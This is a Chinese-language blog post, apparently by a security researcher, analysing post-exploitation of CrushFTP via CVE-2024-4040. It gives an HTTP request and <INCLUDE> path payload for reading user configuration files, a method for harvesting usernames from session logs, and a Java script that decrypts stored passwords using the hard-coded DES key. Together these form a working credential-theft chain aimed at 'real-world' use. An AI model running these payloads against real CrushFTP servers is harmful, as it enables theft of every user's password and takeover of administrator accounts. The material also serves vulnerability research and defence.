CrushFTP后利用提权分析(CVE-2024-4040)

CrushFTP后利用提权分析(CVE-2024-4040)

写在前面

这个漏洞的利用最终还是被曝光了,这里也不做重复的分析,具体可以点击访问CVE-2024-4040了解漏洞的详情,在这里作者在分析利用的时候仍然使用的sessions.obj文件去读取历史cookie再做提权的尝试,但在最早的一篇文章当中我也曾提到过,只有在程序退出时才会生成这样一个文件,它充当了服务器的一个缓存功能(CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)),因此它的利用相对来说更为玄学,一切看命,在实战中我们往往更需要一些更稳定直接的方式来获取admin账户的密码。

后利用

获取用户配置文件路径

在之前我提到过,这个系统对于用户配置的保存是在XML文件中做了保存,如下所示

5b81ad47981f719af4429566fcd5058

它的相对路径在/users/MainUsers

另外在漏洞作者的分析当中,提到可以使用{working_dir}来获取项目运行的绝对路径

1
2
3
4
5
6
GET /WebInterface/function/?command=zip&c2f=rsC2&path={working_dir}&names=/bbb HTTP/1.1
Host: 127.0.0.1:8080
Cookie: CrushAuth=1714046327401_GY8KgRYG9W7GRoulsigqE3V2eKrsC2;
Content-Type: application/x-www-form-urlencoded


因此结合以上两点我们很容易能得到具体的用户的配置文件

path=<INCLUDE>{working_dir}users/MainUsers/username/user.XML</INCLUDE>

当然其实使用相对路径也可以path=<INCLUDE>./users/MainUsers/username/user.XML</INCLUDE>

因此我们只需要知道admin用户的用户名即可得到相对应的配置文件

同时通过配置文件的内容,我们可以看到密码也是被加密存储在了这个文件当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<userfile type="properties">
<real_path_to_user>./users/MainUsers/y4tacker/</real_path_to_user>
<updated_time>1713866209446</updated_time>
<created_time>1713794508983</created_time>
<root_dir>/</root_dir>
<user_name>y4tacker</user_name>
<max_logins>0</max_logins>
<version>1.0</version>
<last_logins>04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins>
<updated_by_username>crushadmin</updated_by_username>
<password>71W4Y3ZzpxXfeaU4fehf/w==</password>
<created_by_username>crushadmin</created_by_username>
<userVersion>6</userVersion>
<updated_by_email></updated_by_email>
<configure_reverse_share_events>true</configure_reverse_share_events>
<username>y4tacker</username>
</userfile>

这时候又会面临另一个问题,尽管我们知道存在一个名为crushadmin的管理员,但是如果这个账号被删了改成了其他的名字我们又该如何下手呢?

柳暗花明又一村

解决方法其实也很简单,这个系统会将用户的信息保存到logs/session_logs文件夹下

查看目录我们不难发现,命名方式也非常有规律24(年)04(月)25(日)20(时)

89a6483be54e5168e2e26e52dca4624

再往下一级目录看,命名方式固定session_HTTP_num.log

f37fb046164d26d8eb49677f3d94784

再来看看具体内容,不难发现在日志当中,详细记录了我们的用户名以及一些操作信息,这时候用户名的问题也就迎刃而解

0d2874dcc03dcbd911779db4e810efb

破解加密的密码

我们以y4tacker用户为例,这里加密的密码为71W4Y3ZzpxXfeaU4fehf/w==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<userfile type="properties">
<real_path_to_user>./users/MainUsers/y4tacker/</real_path_to_user>
<updated_time>1713866209446</updated_time>
<created_time>1713794508983</created_time>
<root_dir>/</root_dir>
<user_name>y4tacker</user_name>
<max_logins>0</max_logins>
<version>1.0</version>
<last_logins>04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins>
<updated_by_username>crushadmin</updated_by_username>
<password>71W4Y3ZzpxXfeaU4fehf/w==</password>
<created_by_username>crushadmin</created_by_username>
<userVersion>6</userVersion>
<updated_by_email></updated_by_email>
<configure_reverse_share_events>true</configure_reverse_share_events>
<username>y4tacker</username>
</userfile>

接下来我们只需要去看看系统是如何处理解密即可

通过查看登录流程对这坨屎山系统的不断查找,最终不难发现对密码的解密处理在crushftp.handlers.Common#decode_pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 以下仅仅列出关键代码
public String decode_pass(String raw) {
DesEncrypter crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), base64Decode);
String s = crypt.decrypt(raw);
if (s == null) {
crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), false);
s = crypt.decrypt(raw);
}

if (s == null) {
s = decode_pass3(raw);
}

return s;
}

........
DesEncrypter.class
........
public DesEncrypter(String key, boolean base64) {
try {
ServerStatus var10005 = ServerStatus.thisObj;
key = Common.getHash(key, base64, "SHA", "", "", ServerStatus.BG("sha3_keccak"));
this.doInit(key);
} catch (Exception var4) {
}

}

public void doInit(String key) throws Exception {
while((float)key.length() / 8.0F != (float)(key.length() / 8)) {
key = key + "Z";
}

DESKeySpec desKeySpec = new DESKeySpec(key.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
this.ecipher = Cipher.getInstance("DES");
this.dcipher = Cipher.getInstance("DES");
this.ecipher.init(1, secretKey);
this.dcipher.init(2, secretKey);
}

我们可以看到这个com.crushftp.client.Common.encryption_password也是硬编码存储在程序当中,因此我们能很容易计算出这个初始化的key

04f707cf2350fd43bd9454f13218df4

简单编写一个解密脚本

1
2
3
4
5
6
7
8
9
String  key = getHash("crushftp", true, "SHA", "", "", false);
Cipher dcipher = Cipher.getInstance("DES");
DESKeySpec desKeySpec = new DESKeySpec(key.getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
dcipher.init(2,secretKey);
byte[] dec = Base64.decode("71W4Y3ZzpxXfeaU4fehf/w==");
byte[] utf8 = dcipher.doFinal(dec);
System.out.println(new String(utf8));

运行后成功得到密码为y4tacker

91a73add24b0c5dbe75f11b6d382b94

因此我们便能通过遍历日志提取所有的用户名,再读取解密密码即可获得所有用户的用户名密码登录